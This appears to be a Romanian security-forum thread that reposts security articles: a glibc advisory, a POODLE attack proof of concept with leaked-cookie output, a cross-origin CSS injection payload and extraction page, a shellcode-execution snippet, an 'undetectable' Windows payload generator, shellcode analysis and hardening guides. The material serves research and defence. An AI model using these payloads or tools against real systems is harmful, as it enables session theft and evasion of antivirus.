and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated. Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow. The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further. Exploitation: Remote code execution is possible, but not straightforward. It requires bypassing the security mitigations present on the system, such as ASLR. We will not release our exploit code, but a non-weaponized Proof of Concept has been made available simultaneously with this blog post. With this Proof of Concept, you can verify if you are affected by this issue, and verify any mitigations you may wish to enact. As you can see in the below debugging session we are able to reliably control EIP/RIP. (gdb) x/i $rip => 0x7fe156f0ccce <_nss_dns_gethostbyname4_r+398>: req (gdb) x/a $rsp 0x7fff56fd8a48: 0x4242424242424242 0x4242424242420042 When code crashes unexpectedly, it can be a sign of something much more significant than it appears; ignore crashes at your peril! Failed exploit indicators, due to ASLR, can range from: Crash on free(ptr) where ptr is controlled by the attacker. Crash on free(ptr) where ptr is semi-controlled by the attacker since ptr has to be a valid readable address. Crash reading from memory pointed by a local overwritten variable. Crash writing to memory on an attacker-controlled pointer. We would like to thank Neel Mehta, Thomas Garnier, Gynvael Coldwind, Michael Schaller, Tom Payne, Michael Haro, Damian Menscher, Matt Brown, Yunhong Gu, Florian Weimer, Carlos O’Donell and the rest of the glibc team for their help figuring out all details about this bug, exploitation, and patch development. Sursa: https://googleonlinesecurity.blogspot.ro/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html

Pwn2Own Hacking Contest Returns as Joint HPE-Trend Micro Effort By Sean Michael Kerner | Posted 2016-02-11 Over a half million dollars in prize money is up for grabs as the Zero Day Initiative browser hacking contest continues even as corporate ownership shifts. The annual Pwn2Own browser hacking competition that takes place at the CanSecWest conference is one of the premier security events in any given year, as security researchers attempt to demonstrate in real time zero-day exploits against modern Web browsers. This year there was initial concern that the event wouldn't happen, as the Zero Day Initiative (ZDI), which is the primary sponsor of Pwn2Own, is currently in a state of transition. ZDI currently is part of Hewlett Packard Enterprise (HPE), but that will change this year, as the TippingPoint division of HPE, which includes ZDI, is being sold to security vendor Trend Micro in a deal first announced in October 2015 for $300 million. Since ZDI is in transition, HPE and Trend Micro will jointly sponsor the 2016 Pwn2Own event taking place March 16-17. "Bringing both HPE and Trend Micro together for Pwn2Own has been a lot of fun," Brian Gorenc, manager of Vulnerability Research at HPE, told eWEEK. Since Trend Micro's acquisition of TippingPoint has not yet officially closed, it was determined that the best course of action was to do a joint sponsorship of the event, Gorenc said. As such, no matter who owns TippingPoint when the Pwn2Own contest starts, both Trend Micro and HPE will have an interest in what's going on at the event. At the 2015 event, HP awarded a total of $557,500 in prize money to researchers for exploiting previously unknown vulnerabilities in Web browsers. The prize pool for the 2016 event will be in the same range, though at this point it's not entirely clear which vendor will pay for the prizes. "We don't discuss publicly how the sponsorship works, but the money is all accounted for and we're ready to give it all away if the exploits come in," Gorenc said. For the 2016 event, Pwn2Own will award $65,000 for exploits against Google Chrome running on fully patched versions of Windows 10, running Microsoft's Enhanced Mitigation Experience Toolkit (EMET). The same amount will be paid for an exploit on Microsoft's new Edge browser. Pwn2Own will award an additional $60,000 for Adobe Flash exploits running Microsoft Edge. Finally on Mac OS X, there is a $40,000 award for exploiting Apple's Safari browser. There are a number of additional opportunities to win even more prize money. One award will go to a researcher who is able to execute a hypervisor escape from the VMware Workstation virtual machine on which the Windows-based browsers will be running. The promise of using a virtual machine is that it isolates the running application and does not allow processes to "escape" and impact other processes that could be running on the same system host. "This year we also added the Master of Pwn idea, which is the person that will be the grand champion of the entire event," Gorenc said. In the past, he said, whoever won the most money was unofficially understood to be the grand champion. This year, Pwn2Own will formalize the process to crown the Master of Pwn by having a point system for vulnerabilities disclosed at the event. The winner will earn 65,000 ZDI reward points, which is worth approximately $25,000. One change in the 2016 event is that the Mozilla Firefox Web browser is no longer part of the contest. "We wanted to focus on the browsers that have made serious security improvements in the last year," Gorenc said. Sean Michael Kerner is a senior editor at eWEEK and InternetNews.com. Follow him on Twitter @TechJournalist. Sursa: http://www.eweek.com/security/pwn2own-hacking-contest-returns-as-joint-hpe-trend-micro-effort.html

REcon 2015 Link:

((void (*)(void))shellcode)(); Defineste un pointer la o functie care nu returneaza nimic, nu are niciun parametru, are adresa "shellcode" si o apeleaza. Dar tot e necesar ca zona respectiva de memorie sa fie marcata ca "RWX" cu VirtualProtect. Exemplu: https://www.exploit-db.com/exploits/38959/

Winpayloads - Python2.7 Undetectable Windows Payload Generation with extras Running on Python2.7 Getting Started git clone https://github.com/Charliedean/Winpayloads.git cd Winpayloads ./setup.sh Will Setup Everything Needed for Winpayloads Start Winpayloads ./winpayloadsReadme not finished Sursa: https://github.com/Charliedean/Winpayloads

Implementing the POODLE Attack Mi 13 Mai 2015 By Thomas Patzke The POODLE attack gained my attention, as it was disclosed some time ago. An exploit has to act at different positions (victim browser, HTTP request generator and TLS proxy) in a coordinated way and it includes an interesting bit of broken cryptography. Furthermore I asked myself, how practicable this attack is and what the obstacles in buildung an exploit for it are. This writeup is about the experiences I have made while developing a Proof of Concept script for POODLE testing it. You can get the source code here. Related Work During my work other people released some Proof of Concept code of the POODLE attack. The projects can be found on GitHub here and here. As far as I can see, both do not implement the request generator that is running inside the victims browser. Many other people developed checks for the POODLE vulnerability. Most code checks for SSLv3 support with CBC cipher usage. I wrote a check based on PolarSSL, which checks the behavior of a TLS/SSL server on broken padding. This can also be used to verify vulnerable TLS implementations. Implementation The picture below gives a rough overview about of the implemented Proof of Concept code: The implemented parts are: A request generator, that runs in the victims browser. This can be injected in web pages requested via HTTP and was implemeted as static JavaScript file (POODLEClient.js). A HTTP server that serves the static request generator code and answers requests from the request generator regarding the parameters of the generated HTTPS requests to the attack target server. The Python module http.server was used here. A TLS Proxy that modifies the intercepted TLS packets of the generated HTTPS requests and checks the response of the server for them. The module socketserver was used. Some state has to be shared between TLS Proxy and HTTP server. Because both are running in different threads, the Python classes Manager and BaseManager from multiprocessing.managers were used to create object instances that are accessible from different threads and even remotely. Never used that before, nice Python feature The implemetation itself follows the description of the paper: Degrade TLS protocol usage to SSLv3 by disruption of TLS handshake attempts. Justify the URL and POST length such that the last block of the ciphertext is padding. This is done by increasing the POST body size by one byte until the cipher text extends by a block size. Perform the copy operation on every generated TLS packet and calculate the leaked byte if the server accepts the modified packet. If you are interested in the details, just read the really good paper linked above! One obstacle I have encountered was, that the length of the POST body can unexpected influence the overall length of the plain text by the Content-Length HTTP request header, when the length of the body drops below 10 (or theoretically exceeds 100). This condition is circumvented by usage of body lengths of minimum 26 as start value. The minimum POST length while phase 3 of the attack is then 10 when a 16 byte block is shifted to the first byte. Another odd looking behaviour is, that the first TLS application data record only contains one plain text byte. This is a countermeasure against exploitation of the BEAST vulnerability. To make things simple, the POODLE PoC only handles application data records that exceed a certain size. Optimization Potential The PoC implementation of the attack is far from being optimal. Every generated request requires an additional HTTP roundtrip to ask the HTTP server for the next requests parameters, even when the parameters change only after a plaintext byte has leaked in the decryption phase. Test Environment The PoC is entirely written in Python 3.2. I developed and tested it on a recent version of Kali Linux. Because my preferred browser, Firefox, is not vulnerable against POODLE in current versions, I have used the following about:config parameters to get the vulnerability back for development and testing purposes: security.tls.version.min = 0 security.tls.version.max = 0 security.tls.version.fallback-limit = 0 security.ssl3.*_rc4_* = false A script TestHTTPServer.py was created as attack target server. The SSLv3 listener was created with socat as follows: socat -v -x OPENSSL-LISTEN:4433,verify=0,method=SSLv3,cert=cert-poodle.pem,key=key-poodle.pem,reuseaddr,fork TCP:localhost:4080 It forwards the received connections to the HTTP server. Usually the PoC script deduces the MitM config from the target URL. The traffic has to be redirected by appropriate iptables rules or similar. For testing the following command line was used to avoid MitM hassle: ./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443 I have created a script poodle-dev.sh, that starts these components. Just run the following commands in different terminals or as background jobs: ./poodle-dev.sh httpserver ./poodle-dev.sh sslserver ./poodle-dev.sh attacker-nodebug The attack is performed by requesting the URL http://localhost:8000 from a vulnerable browser. No user interaction is required, as long as the page remains open somewhere in the browser. Do not forget to accept the test certificates (in the demo environment at https://localhost:8443) in your browser before you start. XMLHttpRequests will fail elsewhere. This is how an attack looks like: $ ./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443 Starting SSL/TLS server on :8443 forwarding to localhost:4433 Starting HTTP server on :8000 generating requests to https://localhost:8443 Decrypted byte 384: C (0x43) in 8.1950 seconds with 57 requests Victim now leaked 1 bytes: "C" 57 requests and 8.195 seconds per leaked bytes, 57 requests and 8.195 seconds total Decrypted byte 385: o (0x6f) in 56.7356 seconds with 405 requests Victim now leaked 2 bytes: "Co" 231 requests and 32.465 seconds per leaked bytes, 462 requests and 64.931 seconds total Decrypted byte 386: o (0x6f) in 73.1930 seconds with 519 requests Victim now leaked 3 bytes: "Coo" 327 requests and 46.041 seconds per leaked bytes, 981 requests and 138.124 seconds total Decrypted byte 387: k (0x6b) in 36.4802 seconds with 259 requests Victim now leaked 4 bytes: "Cook" 310 requests and 43.651 seconds per leaked bytes, 1240 requests and 174.604 seconds total Decrypted byte 388: i (0x69) in 54.8990 seconds with 387 requests Victim now leaked 5 bytes: "Cooki" 325 requests and 45.901 seconds per leaked bytes, 1627 requests and 229.503 seconds total Decrypted byte 389: e (0x65) in 14.2407 seconds with 99 requests Victim now leaked 6 bytes: "Cookie" 287 requests and 40.624 seconds per leaked bytes, 1726 requests and 243.744 seconds total Decrypted byte 390: : (0x3a) in 34.2510 seconds with 240 requests Victim now leaked 7 bytes: "Cookie:" 280 requests and 39.714 seconds per leaked bytes, 1966 requests and 277.995 seconds total Decrypted byte 391: (0x20) in 56.8563 seconds with 366 requests Victim now leaked 8 bytes: "Cookie: " 291 requests and 41.856 seconds per leaked bytes, 2332 requests and 334.851 seconds total Decrypted byte 392: s (0x73) in 3.6992 seconds with 26 requests Victim now leaked 9 bytes: "Cookie: s" 262 requests and 37.617 seconds per leaked bytes, 2358 requests and 338.550 seconds total Decrypted byte 393: e (0x65) in 8.4984 seconds with 59 requests Victim now leaked 10 bytes: "Cookie: se" 241 requests and 34.705 seconds per leaked bytes, 2417 requests and 347.048 seconds total Decrypted byte 394: s (0x73) in 4.5597 seconds with 31 requests Victim now leaked 11 bytes: "Cookie: ses" 222 requests and 31.964 seconds per leaked bytes, 2448 requests and 351.608 seconds total Decrypted byte 395: s (0x73) in 16.6020 seconds with 118 requests Victim now leaked 12 bytes: "Cookie: sess" 213 requests and 30.684 seconds per leaked bytes, 2566 requests and 368.210 seconds total Decrypted byte 396: i (0x69) in 3.8552 seconds with 27 requests Victim now leaked 13 bytes: "Cookie: sessi" 199 requests and 28.620 seconds per leaked bytes, 2593 requests and 372.065 seconds total Decrypted byte 397: o (0x6f) in 1.4442 seconds with 10 requests Victim now leaked 14 bytes: "Cookie: sessio" 185 requests and 26.679 seconds per leaked bytes, 2603 requests and 373.510 seconds total Decrypted byte 398: n (0x6e) in 11.4498 seconds with 82 requests Victim now leaked 15 bytes: "Cookie: session" 179 requests and 25.664 seconds per leaked bytes, 2685 requests and 384.959 seconds total Decrypted byte 399: i (0x69) in 39.2923 seconds with 279 requests Victim now leaked 16 bytes: "Cookie: sessioni" 185 requests and 26.516 seconds per leaked bytes, 2964 requests and 424.252 seconds total Decrypted byte 400: d (0x64) in 35.4133 seconds with 252 requests Victim now leaked 17 bytes: "Cookie: sessionid" 189 requests and 27.039 seconds per leaked bytes, 3216 requests and 459.665 seconds total Decrypted byte 401: = (0x3d) in 23.1957 seconds with 166 requests Victim now leaked 18 bytes: "Cookie: sessionid=" 187 requests and 26.826 seconds per leaked bytes, 3382 requests and 482.861 seconds total Decrypted byte 402: s (0x73) in 7.3688 seconds with 53 requests Victim now leaked 19 bytes: "Cookie: sessionid=s" 180 requests and 25.802 seconds per leaked bytes, 3435 requests and 490.229 seconds total Decrypted byte 403: u (0x75) in 47.2784 seconds with 336 requests Victim now leaked 20 bytes: "Cookie: sessionid=su" 188 requests and 26.875 seconds per leaked bytes, 3771 requests and 537.508 seconds total Decrypted byte 404: p (0x70) in 2.2508 seconds with 16 requests Victim now leaked 21 bytes: "Cookie: sessionid=sup" 180 requests and 25.703 seconds per leaked bytes, 3787 requests and 539.759 seconds total Decrypted byte 405: e (0x65) in 17.8258 seconds with 127 requests Victim now leaked 22 bytes: "Cookie: sessionid=supe" 177 requests and 25.345 seconds per leaked bytes, 3914 requests and 557.584 seconds total Decrypted byte 406: r (0x72) in 1.7210 seconds with 12 requests Victim now leaked 23 bytes: "Cookie: sessionid=super" 170 requests and 24.318 seconds per leaked bytes, 3926 requests and 559.305 seconds total Decrypted byte 407: s (0x73) in 71.9293 seconds with 515 requests Victim now leaked 24 bytes: "Cookie: sessionid=supers" 185 requests and 26.301 seconds per leaked bytes, 4441 requests and 631.235 seconds total Decrypted byte 408: e (0x65) in 35.3999 seconds with 253 requests Victim now leaked 25 bytes: "Cookie: sessionid=superse" 187 requests and 26.665 seconds per leaked bytes, 4694 requests and 666.635 seconds total Decrypted byte 409: c (0x63) in 0.7939 seconds with 5 requests Victim now leaked 26 bytes: "Cookie: sessionid=supersec" 180 requests and 25.670 seconds per leaked bytes, 4699 requests and 667.429 seconds total Decrypted byte 410: r (0x72) in 46.0715 seconds with 326 requests Victim now leaked 27 bytes: "Cookie: sessionid=supersecr" 186 requests and 26.426 seconds per leaked bytes, 5025 requests and 713.500 seconds total Decrypted byte 411: e (0x65) in 1.9057 seconds with 12 requests Victim now leaked 28 bytes: "Cookie: sessionid=supersecre" 179 requests and 25.550 seconds per leaked bytes, 5037 requests and 715.406 seconds total Decrypted byte 412: t (0x74) in 21.2495 seconds with 151 requests Victim now leaked 29 bytes: "Cookie: sessionid=supersecret" 178 requests and 25.402 seconds per leaked bytes, 5188 requests and 736.655 seconds total Observations Attack Performance I performed several runs in the above local test environment and measured the time to succesfully leak 8 bytes. The minimum was 240 seconds, most attempts took 300 seconds or longer. As mentioned above, there is some improvement potential for the PoC, but in reality an attacker would not have the performance of a loopback network device ;-) Exploitability of Current Browser Versions Current versions of Mozilla Firefox and Google Chrome are safe. They reject to connect with SSLv3 when TLS failed previously. Internet Explorer 11 starts with TLSv1.2 but allows degradation to SSLv3 by connection interruption. Detection of the Attack The traffic that occurs is quite unusual. The following suspisious properties can be observed: The termination of attempts to communicate with TLS 1.0 and higher. Cipher texts with two same blocks. A huge amount of HTTPS requests, that are terminated with an encrypted TLS alert message before a response can be sent. Conclusion: POODLE attack attempts are detectible at network layer. Conclusions It is quite simple: SSLv3 must die!. The protocol was superseded in 1999 by TLSv1.0. Browsers that rely on it due tolack of support for TLS are IE6 or Opera 4. Whoever still uses this browsers, has much more security issues than POODLE. Keeping SSLv3 enabled for customers that use these browsers means that the security of users with newer browsers is degraded. Simply: disable it. When offering websites via insecure HTTP it is possible for a MitM attacker to inject malicious JavaScript code into pages, which is required for the POODLE attack (request generator). Therefore the usage of insecure HTTP should be reduced as much as possible. CRIME is another vulnerability that requires the attackers code to be executed in the victims browser. Thanks to Daniel Sauder for proofreading and testing! Thanks to Danopoulos Nikos for pointing me to some typos. Sursa: https://patzke.org/implementing-the-poodle-attack.html

Script Deobfuscator Released Posted on February 15, 2016 by darryl The purpose of this tool is to help you perform static analysis on obfuscated scripts. It’s often easier to dynamically analyze scripts but there are times when you just don’t know where to start or you just want a high-level view of what’s going on with the script. This tool may be able to help you. I already wrote a tool called PHP Script Decoder but this new version has been re-written in .NET with new functionality and flexibility in order to handle PHP, Javascript, VBA, and VBS scripts. To explain how to use this tool, let me show you how to tackle seven different obfuscated scripts. Example #1 (unphp) Here’s what the script looks like. Looking at the script, you’ll see an array of base64-encoded strings at the top. Following that are references to specific elements from the array. Paste in the script sections like so. The script you are trying to deobfuscate is at the top. The array of base64-encoded strings separated by commas in the middle section. I enter the search string value of “_705650624(#)” since that’s how the script at the top references the elements from the array (note: the pound sign is a wildcard and must be present). I select the “Array” method and click on the “Convert” button. The results still show encoded strings so now I check the “Base64 Decode”, “Concatenate”, and “Keep Quotes” options and try again. The script has been deobfuscated and much easier to read. The script won’t execute though because the strings are quoted (or unquoted) incorrectly. Example #2 (ddecode) Here’s the script we’ll be working on: First we need to unescape it so click on the “Unescape” button. If you right-click on the Output box, there’s an option to save the results to a text file. (You can right-click on the Input box and read in a file too.) Click on “Copy Output to Input” to move the result to the top. This script uses randomize variable names and assigns a value to it. The later portion references the value. The tool will parse the script and load each variable and associated value into an array. It then does a search for the variable and replaces it with the value. Choose the “Random Vars 1” method. The delimiter for this script is a semi-colon and for the search string I enter ${“GLOBALS”}[“#”]=”*”; The pound sign is a placeholder for the variable name and the asterisk is the placeholder for the value. Here’s the result: Example #3 (unphp) This script also uses random variable names but in this version, the strings are base64-encoded. The top portion defines the global variables while the lower section, beginning at “session_start()”, references them. Paste the script sections in the tool as follows then choose the “Random Vars 2” method and the “Base64 Decode” and “Keep Quotes” options. Note the search string has spaces in between so that it matches the script at the top. Example #4 (unphp) Here’s what the script looks like (I highlighted the key): This script references an element in an array to build the values for its variables. The elements are based on the character position in the key. The first step is to paste the entire script in the input box and choose the key lookup option. I use $f9[#] as the search string. In the Lookup Key box, paste the key and remove the starting and ending quotes. Also make sure the key you paste in has been properly escaped. You can see there’s concatenation going on so check the “Concatenate” option. Example #5 (ddecode) In this example, we’re just interested in decoding the base64 strings. Copy the entire script to the Input box, choose the “Base64” method as well as the “Base64 Decode”, “Concatenate”, and “Keep Quotes” options. Make sure the delimiter and search string matches that of the script. Example #6 (pastebin) This script is uses the Joomla exploit and contains decimal values making it tough to see immediately what this does. Paste the script into the Input box and choose the “ASCII” method. Almost but it’s not concatenated. If you choose the “Concatenate” option, it won’t clean up everything. In the “Output Options” section, there’s a “Remove Chars” box. Enter a period and try again. Example #7 (pastebin) This last example is a VBA script. It does a simple math calculation then the result is convert to its ASCII character equivalent. Paste the script in and choose the “Math” method. The result shows decimal values but not the text equivalent. So enter “chr(” into the “Pre Str” box and a closing parenthesis in the “Post Str” box. Look familiar? Now we can use the “ASCII” method to get the characters. I also entered an ampersand and space character in the “Remove Chars” box. The resulting deobfuscated script will probably error out if you try executing it. Again, all this tool will do is try to make the script readable so you can better understand it. You may need to use this tool on parts of the script then put them back together yourself to figure things out. I tried to make the functions in this tool flexible and generic enough to handle whatever scripts come your way. However, if you encounter something new, please let me know. You can get the tool here. Happy reversing! Sursa: http://www.kahusecurity.com/2016/script-deobfuscator-released/

Dynamic shellcode analysis In this article, we will study a shellcode using dynamic analysis. This analysis includes a description of Miasm internals, which explains its length. The shellcode is in the archive dyn_sc_shellcodes.zip, protected with the password infected. The final script is here: dyn_sc_run.py Overview: First blood Symbolic Execution Emulation Deeper in the Shellcode Party Hard Final words This analysis is based on Miasm revision 2cf6970. First blood Here is a raw dump of the shellcode: 00000000 50 59 49 49 49 49 49 49 49 49 49 49 49 49 49 49 |PYIIIIIIIIIIIIII| 00000010 49 49 37 51 5a 6a 41 58 50 30 41 30 41 6b 41 41 |II7QZjAXP0A0AkAA| 00000020 51 32 41 42 32 42 42 30 42 42 41 42 58 50 38 41 |Q2AB2BB0BBABXP8A| 00000030 42 75 4a 49 62 78 6a 4b 64 58 50 5a 6b 39 6e 36 |BuJIbxjKdXPZk9n6| 00000040 6c 49 4b 67 4b 30 65 6e 7a 49 42 54 46 6b 6c 79 |lIKgK0enzIBTFkly| 00000050 7a 4b 77 73 77 70 77 70 4c 6c 66 54 57 6c 4f 5a |zKwswpwpLlfTWlOZ| 00000060 39 72 6b 4a 6b 4f 59 42 5a 63 48 68 58 63 59 6f |9rkJkOYBZcHhXcYo| 00000070 59 6f 4b 4f 7a 55 76 77 45 4f 67 6c 77 6c 43 72 |YoKOzUvwEOglwlCr| ... We can note that this shellcode is in pure ascii. Let’s disassemble its first basic block: python miasm/example/disasm/full.py -m x86_32 shellcode.bin --blockwatchdog 1 This gives the following graph (file graph_execflow.dot): First basic block of the shellcode Note the PUSH EAX POP ECX to mimic a MOV ECX, EAX, keeping a pure ascii encoding. As we can see, the shellcode starts with some computations, and willxor a memory cell: 00000019 XOR BYTE PTR [ECX+0x30], AL We could analyze it manually or dynamically. For the exercise, we will try to determine which pointer is manipulated here. Now, the question is: where does the value ECX + 0x30 point to? In Miasm, there are at least two ways to answer this: using a symbolic execution from the beginning to retrieve the equation of ECX at address 0x19 using the DependencyGraph, whose goal is to track all the lines which participate to the value of a selected variable. We won’t introduce this module here, because a future post will be dedicated to it. Articol complet: http://www.miasm.re/blog/2016/02/12/dynamic_shellcode_analysis.html

Stealing Secrets with CSS : Cross Origin CSS Attacks In this post I'm going to discuss a web attack that was designated CVE-2015-5826 and CVE-2015-1287 which abuses the way CSS parsing works in some browsers and expands the way we think about HTML injection attacks. Introduction CSS Cross Origin attacks work by constructing CSS style-sheets from vulnerable pages and extracting sensitive information from these pages in the form of CSS property attributes. Vulnerable pages include anything page that allows an attacker to inject arbitrary printable unhindered alphanumeric text including braces, brackets and parenthesis; basically any subset of the ASCII table that allows you to construct valid CSS. Attacks with an even more restricted character set may be possible depending on the content of the vulnerable page. Most modern browsers including Firefox, Chrome and Opera have recently included defenses for this attack although to outdated browsers this attack still poses a threat. In order to have an HTML page treated as CSS the browser needs to operate in Quirks Mode, the following section explains what and how this "mode" is. Quirks Mode CSS parsers can be configured to run in a "greedy" or "best effort" mode; in which they ignore anything that isn't CSS syntax and gobble up everything else in an effort to deliver as user friendly and backward compatible experience as possible (if I had a 1 cent for every time a user experience decision caused a security vulnerability...). The idea comes from the days when browsers were far and few between (there was basically Netscape and Microsoft Explorer) and this meant there was little in the way of standardizing web scripting, well there wasn't any need to. The W3C then introduced standards in order to try (as futile as that try was) to civilize the web to some extent, but this meant that if browsers adopted these standards cold turkey there would be tons of web pages written according the old lore that would not work anymore; thus a special operating mode was introduced to accommodate these pages. This "special operating" mode is called Quirks mode and can be triggered by starting off an HTML document with an invalid Document Type Declaration. For some browsers quirks mode introduces behavior more interesting than just ignoring faulty CSS, it affects the way Content-Type headers are interpreted. For instance in quirks mode, if CSS is loaded or referenced in a link or style element the Content-Type header will be ignored and the content returned will be interpreted as CSS! To quote: Stylesheets linked in the document with an advisory mime type of text/css will still be treated as CSS even if the server gives a Content-Type header other than text/css. -- https://developer.mozilla.org/en-US/docs/Mozilla_Quirks_Mode_Behavior Of course what that means is that any kind of document can then be treated as CSS, which means as an attacker if you can inject a document into a style-sheet reference it gives him/her tremendous freedom! You might even be able to have an inject-able HTML document be treated as CSS itself That last sentence was pretty important, its actually the realization that this post is trying to share with you, if you don't completely get it please re-read it until you do. Besides Quirks Mode ofcourse there's the full on standards compliant mode called Standards mode; this is only engaged when an HTML document is started with a valid DTD. So if an HTML document starts off with a DTD that looks like this : <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> or any other valid DTD it will parse the entire document in Standard Mode. And the following DTDs are examples that will trigger quirks mode most modern browsers: <!DOCTYPE html PUBLIC > <!DOCTYPE html BLAH> <!DOCTYPE> Basically any non-valid DTD. You can check which mode a browser is parsing HTML by inspecting the document.compatMode property via JavaScript; as follows: document.compatMode == "CSS1Compat" ? "Browser is in Standards Mode" : "Browser is in Quirks Mode" Here's some screenshots of that little script in action with some examples of DTDs that trigger the two parsing modes: Browser parsing in Standards mode Browser Parsing in Quirks Mode And here's a summary of how different browsers behave according to my research on the subject: Summary of how browsers respond to some DTDs for HTML *Q - Quirks Mode *S - Standards Mode *Tests were done using Firefox 44.0.2, Opera 35.0, Chrome 48.0 Obviously upon finding out that Quirks Mode will force browsers to ignore content type headers I had to check it out for myself, here's a couple screenshots of me doing that: In the screenshot above we can see Firefox loading up the HTML page shown in the bottom right, which references the CSS shown in the bottom left. I'm using PHP to force my Apache2 web server to return a Content-Type header of text/plain which means its just basic text. And as you can see the browser's console appropriately warns us that some text is trying to be loaded as CSS. Exactly the same situation as the previous screenshot except that the DTD of the HTML page being loaded forces the browser into Quirks Mode and as a result the CSS (being served with a text/plain Mime type) is parsed and applied to the text on the page! The Setup So that is the awesomeness that is Quirks Mode, lets talk about the vulnerability for a second. In this scenario we have a simple page vulnerable to injection. We need to clear a few rules of engagement here though, when I say "vulnerable to injection" I mean the following: only alphanumeric,quotes ",' and braces {}, brackets [] and parenthesis () we can exclude any active content injection from this case as well In this example I'm using the same origin to host the attack page, this is merely for demonstration purposes and because all the browsers I currently have include protections for the attack. So basically you have a page in which you can influence the text content. Where's the page I'm going to use for this demonstration: <?php echo " <!DOCTYPE html asfdasfdadf> <html> <head> <link rel=\"stylesheet\" href=\"incorrectMime.php?type=plain\"> </head> <div id=\"text\"> This text should be red <br> </div> Injection point: ".$_GET["injectme"]." secret goes here'} </html>"; ?> view rawinjectme.php hosted with ❤ by GitHub Obviously there is no hindrance here to a full on XSS attack, you would just need to imagine that there's some hectic WAF blocking anything that could be used to execute XSS. The Attack The Attack works as follows, we want to bypass same origin policy in order to steal the secret embedded on the page. You can think of this secret as a Cross Site Request Forgery (CSRF) token, credit card number, password etc. We are going to do this by forcing our victims browser to use the inject-able page as CSS on a page we control. The attack will extract the information by having the piece of information we are targeting interpreted as an attribute of a CSS property i.e. a font-family name or background image URL value. So in summary the attacker prepares a page that includes the vulnerable page as a style sheet, and extracts the information (usually using JavaScript). Lets see how this works Payload We're going to use the following injection payload: %0A{}.extract{font-family:' this will cause the page to render as follows: <!DOCTYPE html asfdasfdadf> <html> <head> <link rel="stylesheet" href="incorrectMime.php?type=plain"> </head> <div id="text"> This text should be red <br> </div> Injection point: {}extract{font-family:' secret goes here'} </html> view rawinjectme.html hosted with ❤ by GitHub Which means we effectively have a page that when interpreted as CSS will have a font-family name of "secret goes here". It looks good, all we need to do now is host this injected page on a page under our control and extract the CSS property using JavaScript. Extraction In order to get hold of the font-family name we just created we need to host the injected page as a CSS Stylesheet also remembering that we need to force the style sheet to be loaded under Quirks Mode! So pay attention to the DTD of the attack page. Here's the little page I prepared for this example: <!DOCTYPE afdssadfsafdd> <html> <head> <link charset="utf-8" type="text/css" rel="stylesheet" href="injectme.php?injectme=%0A{}extract{font-family:'"> </head> <body> adsfassdf </body> </html> view rawxcs_attack.html hosted with ❤ by GitHub Once its loaded up we can extract any CSS properties by using the following DOM path: document.styleSheets.cssRules[j].cssText Where i,j are the indices needed to reach the desired cssText property. In our case it will be i=j=0. Where's what it looks like when the information has been extracted correctly and loaded up into the DOM for extraction: Secret extracted successfully as a font-family name Boom! Secret extracted game over References and Further Reading Lin-Shung Huang, Lin-Shung Huang, Chris Evans, Collin Jackson; Protecting Browsers from Cross-Origin CSS Attacks https://www.linshunghuang.com/papers/css.pdf [ACM Conference on Computer and Communications Security (CCS) 2010] Wikipedia , Quirks Mode https://en.wikipedia.org/wiki/Quirks_mode [retrieved 2/14/2016] @filedescriptor Cross-Origin CSS Attacks Revisited (feat. UTF-16) http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/ [retrieved 2/14/2016] Mozilla Developer Network, Quirks Mode and Standards Mode https://developer.mozilla.org/en-US/docs/Quirks_Mode_and_Standards_Mode [retrieved 2/14/2016] Mozilla Developer Network, Mozilla Quirks Mode Behavior https://developer.mozilla.org/en-US/docs/Mozilla_Quirks_Mode_Behavior [retrieved 2/14/2016] CVE-2015-5826 https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5826 CVE-2015-1287 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1287 Posted by Keith Makan at 11:00 Sursa: http://blog.k3170makan.com/2016/02/stealing-secrets-with-css-cross-origin.html

Security Harden CentOS 7 This HowTo walks you through the steps required to security harden CentOS 7, it’s based on the OpenSCAP benchmark, unfortunately the current version of OpenSCAP that ships with CentOS does not offically support CentOS CPE’s. But there is a “workaround” that will allow OpenSCAP + OpenSCAP workbench to run on CentOS, I’ll document this in a separate post. Based on a Minimal Install To follow this guide you will need a minimal CentOS 7 install, ideally using the Kickstart file below or copying it’s partition layout. Installing CentOS 7 using a minimal installation reduces the attack surface and ensures youonly install software that you require. This guide only covers the base system + SSH hardening, I will document specific service hardening separately such as HTTPD, SFTP, LDAP, BIND etc… In the section related to removing unrequired services, if you installed a minimal centos 7 install, you’ll likely have nothing to remove or disable - I’ve included this section for completeness. Articol complet: https://highon.coffee/blog/security-harden-centos-7/

Am ascuns link-urile pentru Guests.

Pe un port "asculta" un program. Adica un program foloseste acel port. Daca este portul 3306, inseamna (probabil, nu neaparat) ca este un server de MySQL. Daca este 21, inseamna ca este un server de FTP care ruleaza pe acel server. Acum, daca ruleaza, nu inseamna ca poti face ce vrei acolo. Fiecare program dintr-acesta, poate sa fie vechi si sa aiba anumite vulnerabilitati. De exemplu, pe serverul MySQL poate te poti conecta cu user-ul "root" si fara parola. Dar daca are parola si nu o stii si daca este updated, nu prea ai ce ii face. La fel e si cu celelalte. Cauta pe Google informatii despre protocoalele FTP, SMTP... Si vezi cam ce fac.